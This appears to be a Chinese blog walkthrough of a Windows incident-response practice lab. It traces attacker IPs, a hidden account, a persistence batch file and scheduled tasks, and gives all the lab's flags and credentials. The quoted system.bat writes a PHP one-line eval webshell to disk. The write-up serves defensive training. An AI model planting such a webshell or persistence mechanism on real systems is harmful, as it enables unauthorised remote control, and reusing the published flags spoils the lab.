ZGSF-Windows-Web3(灵境)

ZGSF-Windows-Web3(灵境)

_
本文内容由 AI 辅助生成,已经人工审核和编辑。

这个靶机来源于微信公众号:知攻善防实验室。靶机已在灵境靶场平台(LingJing)上线。

背景

靶机描述

ZGSF-Windows-Web3

⚠️灵境平台版本 >=0.4.5;⚠️Linux 物理机旧版本平台直接更新后需要从最新安装中替换 LingJing_linux_amd64/resources/Lemus/linuxAmd64Lemu/share

⚠️注意 Windows 物理机不能使用 3389 远程连接靶机,因为 QEMU 的一些限制导致该靶机无法在 Windows 物理机上使用 3389 连接,一连接靶机就会死掉

Windows 物理机使用 ssh 22 端口进行连接 (账号密码同 3389 远程账号密码)

远程桌面端口:3389

账号:Administrator 密码:2025@LingJing

⚠️连接靶机后运行桌面上的题解程序获取应急响应排查目标

情景模拟:深夜省护值守的 "第六感" 事件

时间:2024 年 3 月 12 日 凌晨 2:17

地点:某省电子政务外网监控大厅

人物:值班安全员 414a、应急响应负责人 3had0w

【监控告警】

凌晨 2 点 17 分,省护监控大屏突然跳出一条异常告警:政务门户网站服务器(IP:192.168.242.x)出现高频 POST 请求。值班员 414a 揉了揉发酸的眼睛,盯着屏幕上一连串指向 cmd.php 的请求日志,心跳突然加速。

"这流量模式……不对劲。"414a 喃喃自语,手指悬在紧急断网按钮上方颤抖了三秒,然后猛地按了下去。

【甲方质询】

"为什么要停设备?" 电话那头,甲方负责人的声音带着被吵醒的怒意。

414a 咽了口唾沫,声音发虚却坚定:"我第六感告诉我,这机器可能被黑了。刚才日志里出现大量 cmd.php 的 POST 请求,像是 WebShell 在接收指令。"

"第六感?" 对方冷笑,"你最好真的能找出证据,否则……"

【应急响应启动】

早上 7 点,应急响应负责人 3had0w 带着团队赶到现场。414a 已经按照预案将靶机隔离,并准备好了分析环境。

"说说你的发现。"3had0w 一边启动 VMware Workstation,一边问道。

"服务器是 Windows Server 2022,跑着 phpstudy 搭建的 Z-Blog 博客系统。我暂停服务前抓了几个关键日志。"414a 递上移动硬盘,"账户密码是 administrator/2025@LingJing ,已经在靶机里。"

【线索追踪】

第一步:日志溯源攻击 IP

3had0w 登录系统,直奔 D 盘 。用 Sublime Text 打开后,搜索 .php 关键词,屏幕上瞬间被密密麻麻的日志填满。

"看这两个 IP,"3had0w 指着屏幕,"192.168.75.129 和 192.168.75.130,在凌晨 1:30-2:15 间持续对 cmd.php 发送 POST 请求,而且返回体都是 200。这就是攻击源!"

414a 赶紧记下: 攻击者 IP1: 192.168.75.129 , 攻击者 IP2: 192.168.75.130 。

第二步:排查隐藏账户

"攻击者肯定不会只用 WebShell,"3had0w 打开 "计算机管理"→"本地用户和组",在用户列表里果然发现一个带 $ 符号的异常账户—— xxxxxxxxx 。

"典型的隐藏用户,"3had0w 解释,"Windows 下以 $ 结尾的用户名不会出现在 net user 命令结果里,但通过注册表或管理工具能看到。" 他顺便检查了注册表 SAM\Domains\Account\Users\Names ,确认了该用户的 SID。

414a 补充: 隐藏用户名称: xxxxxxxxx 。

第三步:深挖权限维持

切换到 xxxxxxxxx 用户目录下,团队在 C 盘路径下 发现了一个 system.bat 脚本。打开一看,内容触目惊心:

batch

@echo off

echo flag{xxxxxxxx}

echo ^<?php eval($_POST['pass']);?^> > D 盘

"这就是第三个 flag,"3had0w 皱眉,"还在写一句话木马维持权限。"

第四步:任务计划里的秘密

3had0w 打开 "任务计划程序",发现两个由 xxxxxxxxx 创建的任务。在任务描述的备注栏里,赫然写着: flag{zgsfsys@sec} 。

"两个任务都指向那个 system.bat ,"414a 分析,"攻击者做了双重保险,确保重启后木马还能运行。"

第五步:网站后台的陷阱

"还差最后一个 flag,"3had0w 盯着题目要求,"题目说考点不在 IP 和用户,那应该在 Web 应用层。"

他启动 phpstudy,访问 ` 站点,发现是 Z-Blog 系统。尝试登录后台失败,3had0w 灵机一动:"这是我们自己服务器,直接重置密码!"

下载 Z-Blog 官方密码重置工具 nologin.php 放到网站根目录,访问后顺利进入后台。在用户管理界面,一个名为 hack 的用户资料里藏着最后的线索:

flag{xxxxxxxx}

【复盘总结】

下午 3 点,3had0w 向甲方提交报告:

事件结论:服务器遭 WebShell 入侵,攻击者通过 Z-Blog 漏洞上传 cmd.php 获取初始权限,创建隐藏用户 xxxxxxxxx 进行权限维持,并植入计划任务确保后门持久化。三个 flag 分别为权限维持标记、任务计划标记和后台留痕标记。

甲方负责人沉默片刻,对 414a 说:"……第六感有时候比规则更重要。"

414a 长舒一口气,瘫在椅子上。监控大屏上,服务器已重装上线,日志干干净净。但这次 "第六感" 事件,成了他职业生涯中最难忘的一课。

通关条件验证:

1. ✅ 攻击者 IP

2. ✅ 隐藏用户

3. ✅ 三个 flag

靶场通关

靶机连接

开启靶机后,不能用RDP进行连接,因为QEMU的一些限制导致该靶机无法在 Windows 物理机上使用 3389 连接,一连接靶机就会挂掉!Windows 物理机直接使用 SSH 的 22 端口进行连接 (账号密码同 3389 远程账号密码,账号:Administrator、密码:2025@LingJing)!

可以使用XshellFinalShell等工具进行连接,我这里使用的是Hexhub这个工具!Hexhub 下载地址Hexhub

连接成功界面:

题解.exe下载到本地,用来验证找到的 flag 是否正确。

有靶机描述可知,我们通关的条件有三个:

1. ✅ 攻击者2个IP
2. ✅ 隐藏用户
3. ✅ 三个flag

攻击者IP溯源

找到日志记录的文件:

/D:/phpstudy_pro/Extensions/Apache2.4.39/logs

日志:

在文件中发现了两个可疑的 IP:192.168.75.129192.168.75.130

利用题解.exe来验证攻击者 IP:

排查隐藏账户

/C:/Users目录下发现有个可疑的用户名hack6618$。

第二关也通过!

三个Flag

接下来我们进入hack6618$用户目录!

/C:/Users/hack6618$/Downloads目录下,发现了system.bat文件:

得到第一个 Flag:flag{888666abc}

攻击者在入侵后,应该会创建计划任务来维持权限,我们查找计划任务。

我们利用下面命令来查找计划任务里的可疑任务:

schtasks /query /v /fo list > C:\aaa.txt

找到第二个 Flag:flag{zgsfsys@sec}

接下来找第三个 Flag,访问 web 系统,是 zblog。

下载 Z-Blog 官方密码重置工具 nologin.php 放到网站根目录。

访问后直接重置密码:

在用户hack 的用户资料里面发现了第三个 Flag!

接下来输入三个 flag:flag{zgsfsys@sec}flag{888666abc}flag{H@Ck@sec}

成功解出靶机!

pikachu靶场通关全流程 2026-01-16
ZGSF-Linux-Web2(灵境) 2026-02-02

评论区